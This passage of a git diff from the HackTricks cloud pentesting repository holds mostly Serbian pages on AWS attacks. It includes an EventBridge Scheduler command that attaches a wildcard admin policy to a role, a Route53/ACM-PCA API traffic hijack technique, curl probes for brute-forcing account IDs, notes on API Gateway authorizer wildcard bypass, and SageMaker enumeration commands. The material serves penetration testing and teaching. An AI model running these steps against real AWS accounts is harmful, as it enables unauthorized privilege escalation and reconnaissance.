"arn:aws:iam:::role/" }' ``` -Pored akcija usluga sa šablonima, možete koristiti **univerzalne ciljeve** u EventBridge Scheduler-u da pozovete širok spektar API operacija za mnoge AWS usluge. Univerzalni ciljevi nude fleksibilnost da pozovete gotovo bilo koji API. Jedan primer može biti korišćenje univerzalnih ciljeva za dodavanje "**AdminAccessPolicy**", koristeći ulogu koja ima politiku "**putRolePolicy**": +Pored templiranih akcija servisa, možete koristiti **universal targets** u EventBridge Scheduler da pozovete širok spektar API operacija za mnoge AWS servise. **Universal targets** pružaju fleksibilnost da pozovete gotovo bilo koji API. Jedan primer je korišćenje **universal targets** za dodavanje "**AdminAccessPolicy**", koristeći ulogu koja ima politiku "**putRolePolicy**": ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -37,9 +37,9 @@ aws scheduler create-schedule \ "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" }' ``` -## Reference +## Izvori - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index 171fea181..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Za više informacija o Route53 pogledajte: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Da bi se izvela ova napad, ciljni nalog mora već imati postavljen [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** u nalogu, a EC2 instance u VPC-ima moraju već imati uvezene sertifikate da bi im verovale. Sa ovom infrastrukturom, sledeći napad može biti izveden da bi se presreo AWS API saobraćaj. - -Ostale dozvole **preporučene, ali neobavezne za deo enumeracije**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -Pretpostavljajući da postoji AWS VPC sa više cloud-native aplikacija koje komuniciraju međusobno i sa AWS API. Pošto je komunikacija između mikroservisa često TLS enkriptovana, mora postojati privatna CA koja izdaje važeće sertifikate za te usluge. **Ako se koristi ACM-PCA** za to i protivnik uspe da dobije **pristup kontroli i route53 i acm-pca privatne CA** sa minimalnim skupom dozvola opisanih iznad, može **preuzeti pozive aplikacija ka AWS API** preuzimajući njihove IAM dozvole. - -To je moguće jer: - -- AWS SDK-ovi nemaju [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 omogućava kreiranje Privatne Hosted Zone i DNS zapisa za imena domena AWS API-ja -- Privatna CA u ACM-PCA ne može biti ograničena na potpisivanje samo sertifikata za specifične Common Names - -**Potencijalni uticaj:** Indirektni privesc presretanjem osetljivih informacija u saobraćaju. - -#### Eksploatacija - -Pronađite korake eksploatacije u originalnom istraživanju: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..dc327d526 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +Za više informacija o Route53 pogledajte: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Da biste izveli ovaj napad, ciljni nalog mora već imati [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** podešen u nalogu, a EC2 instance u VPC(s) moraju već biti uvezle sertifikate kako bi mu verovale. Sa ovom infrastrukturom na mestu, sledeći napad se može izvesti kako bi se presreo AWS API saobraćaj. + +Ostale dozvole koje se **preporučuju ali nisu potrebne za deo enumeracije**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Pod pretpostavkom da postoji AWS VPC sa više cloud-native aplikacija koje komuniciraju međusobno i sa AWS API. Pošto je komunikacija između mikroservisa često TLS šifrovana, mora postojati privatni CA koji izdaje važeće sertifikate za te servise. **If ACM-PCA is used** za to i napadač uspe da dobije **access to control both route53 and acm-pca private CA** sa minimalnim skupom permisija opisanih iznad, može **hijack the application calls to AWS API** preuzimajući njihove IAM permisije. + +Ovo je moguće zato što: + +- AWS SDKs nemaju [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 omogućava kreiranje Private Hosted Zone i DNS zapisa za nazive domena AWS API-ja +- Private CA u ACM-PCA se ne može ograničiti da potpisuje sertifikate samo za određene Common Names + +Potencijalni uticaj: Indirect privesc presretanjem osetljivih informacija u saobraćaju. + +#### Eksploatacija + +Pronađite korake eksploatacije u originalnom istraživanju: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md index e10fa7b96..4e27fa7bd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -1,10 +1,10 @@ # AWS - DocumentDB Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DocumentDB -Amazon DocumentDB, koji nudi kompatibilnost sa MongoDB, predstavlja se kao **brza, pouzdana i potpuno upravljana usluga baze podataka**. Dizajniran za jednostavnost u implementaciji, radu i skalabilnosti, omogućava **besprekornu migraciju i rad MongoDB-kompatibilnih baza podataka u oblaku**. Korisnici mogu iskoristiti ovu uslugu za izvršavanje svog postojećeg aplikacionog koda i korišćenje poznatih drajvera i alata, obezbeđujući glatku tranziciju i rad sličan radu sa MongoDB. +Amazon DocumentDB, koji nudi kompatibilnost sa MongoDB, predstavljen je kao **brza, pouzdana i potpuno upravljana usluga baze podataka**. Dizajniran za jednostavnost pri postavljanju, radu i skaliranju, omogućava **besprekornu migraciju i rad baza podataka kompatibilnih sa MongoDB u oblaku**. Korisnici mogu iskoristiti ovu uslugu za izvršavanje postojećeg koda aplikacija i korišćenje poznatih drajvera i alata, čime se obezbeđuje glatka tranzicija i rad sličan radu sa MongoDB. ### Enumeration ```bash @@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute ``` ### NoSQL Injection -Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injekcijama: +Pošto je DocumentDB kompatibilna baza podataka sa MongoDB, možete pretpostaviti da je takođe ranjiva na uobičajene NoSQL injection napade: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html @@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html ### DocumentDB {{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md {{#endref}} -## References +## Reference - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..97ea7617d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,202 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Pregled servisa + +Amazon SageMaker je AWS-ova upravljana platforma za machine-learning koja povezuje notebooks, infrastrukturu za obuku, orkestraciju, registre i upravljane endpoints. Kompromitovanje SageMaker resursa obično omogućava: + +- Dugotrajne IAM execution role sa širokim pristupom S3, ECR, Secrets Manager ili KMS. +- Pristup osetljivim dataset-ima pohranjenim u S3, EFS ili unutar feature store-ova. +- Mrežni footholds unutar VPC-ova (Studio apps, training jobs, endpoints). +- Visoko-privilegovane presigned URLs koje zaobilaze console authentication. + +Razumevanje kako je SageMaker sastavljen je ključno pre nego što pivot, persist, ili exfiltrate data. + +## Osnovne komponente + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Svaki domain ima deljeni EFS file system i podrazumevanu execution role. +- **Notebook Instances**: Managed EC2 instances za standalone notebooks; koriste odvojene execution roles. +- **Training / Processing / Transform Jobs**: Ephemeral containers koji povlače kod iz ECR i podatke iz S3. +- **Pipelines & Experiments**: Orkestrirani workflows koji opisuju sve korake, inputs i outputs. +- **Models & Endpoints**: Packaged artefakti deploy-ovani za inference preko HTTPS endpoints. +- **Feature Store & Data Wrangler**: Upravljani servisi za pripremu podataka i upravljanje feature-ima. +- **Autopilot & JumpStart**: Automated ML i kurirana katalog modela. +- **MLflow Tracking Servers**: Managed MLflow UI/API sa presigned access tokens. + +Svaki resurs referencira execution role, S3 lokacije, container images i opcioni VPC/KMS konfiguraciju — zabeležite sve tokom enumeration. + +## Nalog i globalni metapodaci +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Zabeležite svaku cross-account trust (execution roles ili S3 buckets sa external principals) i osnovna ograničenja kao što su service control policies ili SCPs. + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +What to record: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- Montirani EFS (`HomeEfsFileSystemId`) i S3 home direktorijumi. +- Lifecycle skripte (često sadrže bootstrap credentials ili push/pull dodatnog koda). + +> [!TIP] +> Presigned Studio URLs mogu zaobići autentifikaciju ako su široko dodeljene. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Metapodaci notebooka otkrivaju: + +- Uloga za izvršavanje (`RoleArn`), direktan pristup internetu naspram režima samo u VPC-u. +- S3 lokacije u `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Lifecycle skripte za kredencijale ili hook-ove za perzistenciju. + +## Trening, obrada, transformacija i Batch poslovi +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +Detaljno pregledajte: + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – koji ECR images su raspoređeni. +- `InputDataConfig` & `OutputDataConfig` – S3 bucketi, prefiksi i KMS ključevi. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – procenite mrežni i enkripcioni status. +- `HyperParameters` mogu leakovati tajne okruženja ili connection strings. + +## Pipelines, Experiments & Trials +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Definicije pipeline-a detaljno opisuju svaki korak, pripadajuće role, container image-e i promenljive okruženja. Komponente trial-a često sadrže training artefact URI-je, S3 logove i metrike koje nagoveštavaju tok osetljivih podataka. + +## Modeli, konfiguracije endpoint-a i raspoređeni endpointi +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +Fokus oblasti: + +- S3 URI-ovi artefakata modela (`PrimaryContainer.ModelDataUrl`) i slike kontejnera za inferencu. +- Konfiguracija Endpoint data capture (S3 bucket, KMS) za mogući izvoz logova. +- Multi-model endpoints koji koriste `S3DataSource` ili `ModelPackage` (proverite cross-account packaging). +- Mrežne konfiguracije i security groups pridružene endpointima. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Bezbednosne napomene: + +- Online feature store-ovi repliciraju podatke u Kinesis; proverite `OnlineStoreConfig.SecurityConfig.KmsKeyId` i VPC. +- Data Wrangler flow-ovi često sadrže JDBC/Redshift podatke za prijavu ili privatne endpoint-e. +- Clarify/Model Monitor poslovi izvoze podatke u S3 koji mogu biti čitljivi svima (world-readable) ili dostupni između naloga (cross-account). + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- MLflow tracking servers čuvaju eksperimente i artefakte; presigned URLs mogu izložiti sve. +- Autopilot jobs pokreću više training jobs — enumerišite izlaze radi skrivenih podataka. +- JumpStart reference architectures mogu deploy-ovati privileged roles u account. + +## IAM & mrežna razmatranja + +- Enumerišite IAM policies prikačene na sve execution roles (Studio, notebooks, training jobs, pipelines, endpoints). +- Proverite mrežne kontekte: subnets, security groups, VPC endpoints. Mnoge organizacije izoliraju training jobs ali zaborave da ograniče outbound traffic. +- Pregledajte S3 bucket policies referenced u `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` radi eksternog pristupa. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## References + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index d5ce3148c..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Računi Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ID Računa - -Ako imate cilj, postoje načini da pokušate da identifikujete ID računa povezanih sa ciljem. - -### Brute-Force - -Kreirate listu potencijalnih ID računa i aliasa i proveravate ih. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -Možete [automatizovati ovaj proces sa ovim alatom](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -Tražite URL-ove koji sadrže `.signin.aws.amazon.com` sa **aliasom vezanim za organizaciju**. - -### Marketplace - -Ako prodavac ima **instance na tržištu,** možete dobiti id vlasnika (id računa) AWS računa koji je koristio. - -### Snapshots - -- Javni EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS javni snapshots (RDS -> Snapshots -> All Public Snapshots) -- Javni AMI (EC2 -> AMIs -> Public images) - -### Greške - -Mnoge AWS poruke o greškama (čak i pristup odbijen) će dati te informacije. - -## Reference - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..ee6a82606 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Accounts Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ID-ovi naloga + +Ako imate metu, postoje načini da pokušate da identifikujete ID-ove naloga povezanih sa metom. + +### Brute-Force + +Napravite listu potencijalnih ID-ova naloga i aliasa i proverite ih +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +Tražite URL-ove koji sadrže `.signin.aws.amazon.com` sa **alias-om povezanim sa organizacijom**. + +### Marketplace + +Ako vendor ima **instances in the marketplace,** možete dobiti owner id (account id) AWS naloga koji je koristio. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Errors + +Mnoge AWS error messages (čak i 'access denied') će otkriti tu informaciju. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index cd7af55c4..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -### Zaobilaženje API poziva - -Prema predavanju [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers se mogu konfigurisati **koristeći IAM sintaksu** da bi se dodelile dozvole za pozivanje API krajnjih tačaka. Ovo je preuzeto [**iz dokumentacije**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Problem sa ovim načinom davanja dozvola za pozivanje krajnjih tačaka je to što **"\*" podrazumeva "bilo šta"** i **nema više podržane regex sintakse**. - -Neki primeri: - -- Pravilo kao što je `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` kako bi se svakom korisniku omogućio pristup `/dashboard/user/{username}` će im omogućiti pristup i drugim rutama kao što je `/admin/dashboard/createAdmin`, na primer. - -> [!WARNING] -> Imajte na umu da **"\*" ne prestaje da se širi sa kosim crticama**, stoga, ako koristite "\*" u api-id, na primer, to može takođe značiti "bilo koja faza" ili "bilo koja metoda" sve dok je konačni regex još uvek validan.\ -> Tako `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Može validirati post zahtev za test fazu na putanji `/prod/GET/dashboard/admin`, na primer. - -Uvek treba jasno imati šta želite da dozvolite za pristup i zatim proveriti da li su drugi scenariji mogući sa dodeljenim dozvolama. - -Za više informacija, osim [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), možete pronaći kod za implementaciju autorizatora u [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). - -### IAM Policy Injection - -U istoj [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)izložena je činjenica da ako kod koristi **korisnički unos** za **generisanje IAM politika**, džokeri (i drugi kao što su "." ili specifične stringove) mogu biti uključeni sa ciljem **obiđanja ograničenja**. - -### Public URL template -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Dobijanje ID-a naloga sa javnog API Gateway URL-a - -Baš kao i kod S3 kanti, Data Exchange i Lambda URL-ova, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog API Gateway URL-a. To se radi pronalaženjem ID-a naloga jedan po jedan karakter koristeći džoker znakove u **`aws:ResourceAccount`** sekciji politike.\ -Ova tehnika takođe omogućava dobijanje **vrednosti oznaka** ako znate ključ oznake (ima nekoliko podrazumevanih zanimljivih). - -Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..5d1577803 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,52 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Prema predavanju [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers se mogu konfigurisati **koristeći IAM sintaksu** kako bi dodelili dozvole za pozivanje API endpoint-a. Ovo je preuzeto [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. + +Neki primeri: + +- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. + +> [!WARNING] +> Imajte na umu da **"\*" se ne zaustavlja pri širenju preko slash-eva**, stoga, ako koristite "\*" u api-id na primer, to takođe može označavati "bilo koji stage" ili "bilo koju metodu" sve dok je konačni regex i dalje važeći.\ +> Tako `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Može validirati POST zahtev za test stage na putanji `/prod/GET/dashboard/admin`, na primer. + +Uvek treba jasno znati šta želite dozvoliti i zatim proveriti da li su sa dodeljenim dozvolama mogući i drugi scenariji. + +For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. + +### Šablon javnog URL-a +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Dobijanje ID naloga sa javnog API Gateway URL-a + +Baš kao i kod S3 buckets, Data Exchange i Lambda URL gateways, moguće je pronaći ID naloga zloupotrebom **`aws:ResourceAccount`** **Policy Condition Key** sa javnog API Gateway URL-a. Ovo se radi tako što se ID naloga pronalazi po jedan karakter istovremeno zloupotrebom wildcards u **`aws:ResourceAccount`** sekciji policy-ja.\ +Ova tehnika takođe omogućava dobijanje **vrednosti tagova** ako znate ključ taga (postoje neki podrazumevani koji su interesantni). + +Više informacija možete naći u [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i u alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index 81894eacc..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni URL šablon -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..475c22a34 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Javni URL šablon +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git 